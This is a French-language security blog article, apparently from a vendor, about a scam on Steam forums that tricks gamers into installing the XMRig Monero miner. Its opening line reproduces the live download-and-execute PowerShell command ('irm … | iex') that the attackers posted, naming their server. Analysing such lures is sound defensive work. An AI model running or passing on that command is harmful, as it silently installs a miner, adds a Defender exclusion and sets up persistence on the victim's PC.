irm msfconfig.icu | iex
Pour quelqu'un qui ne connaît pas intimement PowerShell, cette ligne peut paraître assez inoffensive — elle ressemble au lancement de MSConfig, l'utilitaire de configuration système intégré de Windows, avec quelques paramètres supplémentaires.
En réalité, pourtant, elle est tout sauf inoffensive. Décomposons ce que fait réellement chaque partie de cette commande :
- irm est l'abréviation de la commande PowerShell intégrée Invoke-RestMethod. Elle contacte l'adresse Web spécifiée plus loin dans la ligne et récupère des données en réponse.
- icu est cette adresse Web — pas le nom d'un fichier local comme cela pourrait paraître au premier abord. Il s'agit du serveur des attaquants, et il répond à la requête irm par un script PowerShell malveillant.
- iex est une autre commande PowerShell intégrée, Invoke-Expression. Elle prend tout ce que irm reçoit de cette adresse Web et l'exécute en tant que code PowerShell.
Une fois exécutée, cette ligne de code PowerShell télécharge un script depuis le site spécifié et l'exécute immédiatement. Comme un utilisateur de Reddit l'a souligné à juste titre souligné, vous pouvez découvrir en toute sécurité quel code serait réellement téléchargé sur votre appareil — sans risque qu'il ne s'exécute — simplement en supprimant la deuxième partie, iex. Sans elle, la commande téléchargera simplement le contenu du script et l'affichera dans la fenêtre PowerShell sans l'exécuter. Cela vous donne le code complet, non masqué, qu'on vous demande d'exécuter sur votre appareil. Ensuite, voyons ce que ces commentateurs serviables des forums Steam essaient réellement de faire installer aux joueurs sur leurs machines.
Un mineur de cryptomonnaie, pas un outil d'optimisation
Les attaquants ont fait leurs devoirs : le script PowerShell téléchargé depuis leur serveur imite de façon convaincante un utilitaire d'optimisation de Windows. Une fois lancé, il affiche à l'utilisateur une série de notifications prétendant effacer les fichiers temporaires, vider le cache DNS, mettre à jour les pilotes, vérifier le disque pour des erreurs, désactiver les applications de démarrage inutiles, analyser le système à la recherche de logiciels malveillants, réparer l'image Windows et vérifier l'intégrité des fichiers système.
Le script affiche un flux de messages sur diverses tâches d'optimisation factices pour donner l'impression qu'il effectue une maintenance utile. Source
Pendant ce temps, l'activité réelle se déroule en coulisses. Le script commence par vérifier s'il s'exécute avec des privilèges d'administrateur. Si c'est le cas, il crée un dossier de travail caché dans C:\Windows\Background et l'ajoute à la liste d'exclusion de Microsoft Defender. À partir de là, tout fichier placé dans ce dossier cesse d'être analysé par l'antivirus intégré de Windows.
Ensuite, le script prépare le système pour l'étape suivante de l'attaque et télécharge un exécutable depuis le serveur des attaquants — en l'enregistrant dans ce même dossier C:\Windows\Background sous le nom au son légitime system.exe.
Le fichier téléchargé est XMRig, l'un des outils les plus populaires pour miner la cryptomonnaie Monero. XMRig lui-même n'est pas un logiciel malveillant ; c'est un outil de minage légitime et open-source. Le problème est que les attaquants l'installent sur les ordinateurs des victimes à leur insu. Une fois en cours d'exécution, la puissance de calcul de l'appareil est détournée pour le minage de Monero, et la cryptomonnaie qui en résulte va directement aux criminels.
Cela fait des configurations des joueurs des cibles particulièrement attrayantes : les PC de jeu modernes disposent de CPU et de GPU puissants — exactement le type de matériel idéal pour miner de la crypto.
Pour s'assurer que le logiciel malveillant survive à un redémarrage, le script crée également une nouvelle tâche dans le Planificateur de tâches de Windows : XMRig-{computer name}. Dès lors, il lance automatiquement le mineur de cryptomonnaie à chaque démarrage du système.
Comment protéger votre appareil des mineurs de cryptomonnaie et autres logiciels malveillants
Malheureusement, de nombreux joueurs hésitent à installer des logiciels de sécurité — ou à les laisser fonctionner — sur leurs appareils. Le principal coupable est le mythe persistant selon lequel « un antivirus ralentit votre jeu ». Nous avons déjà publié des recherches à ce sujet sur notre blog, et les résultats n'ont montré aucun impact significatif sur les performances lors de l'utilisation d'un antivirus pendant le jeu.
On ne peut pas en dire autant des mineurs de cryptomonnaie, en revanche — ils nuisent nettement aux performances et usent votre matériel plus rapidement par-dessus le marché. Alors, que pouvez-vous faire pour garder votre PC de jeu et vos comptes à l'abri ?
- Évitez d'exécuter des scripts PowerShell, Terminal ou d'autres invites de commande que des inconnus vous suggèrent de copier et d'exécuter — que ce soit sur des forums, dans des chats ou dans des commentaires.
- Avant d'appuyer sur Entrée pour toute commande que vous ne comprenez pas entièrement, recherchez ce qu'elle fait et les retombées potentielles de son exécution.
- Utilisez une solution de sécurité fiable dotée d'un mode jeu qui signalera à temps les tentatives de téléchargement de logiciels malveillants et bloquera leur exécution.
- Ne désactivez pas la protection pendant que vous jouez. Utiliser une solution avec un mode jeu dédié est la solution idéale. Les produits de sécurité Kaspersky activent automatiquement ce mode dès qu'un jeu est lancé, reportant les mises à jour de la base de données antivirus, les notifications et les analyses de disque planifiées jusqu'à ce que vous ayez fini de jouer.
Curieux de savoir comment les attaquants ciblent autrement les joueurs ? Consultez nos autres articles :
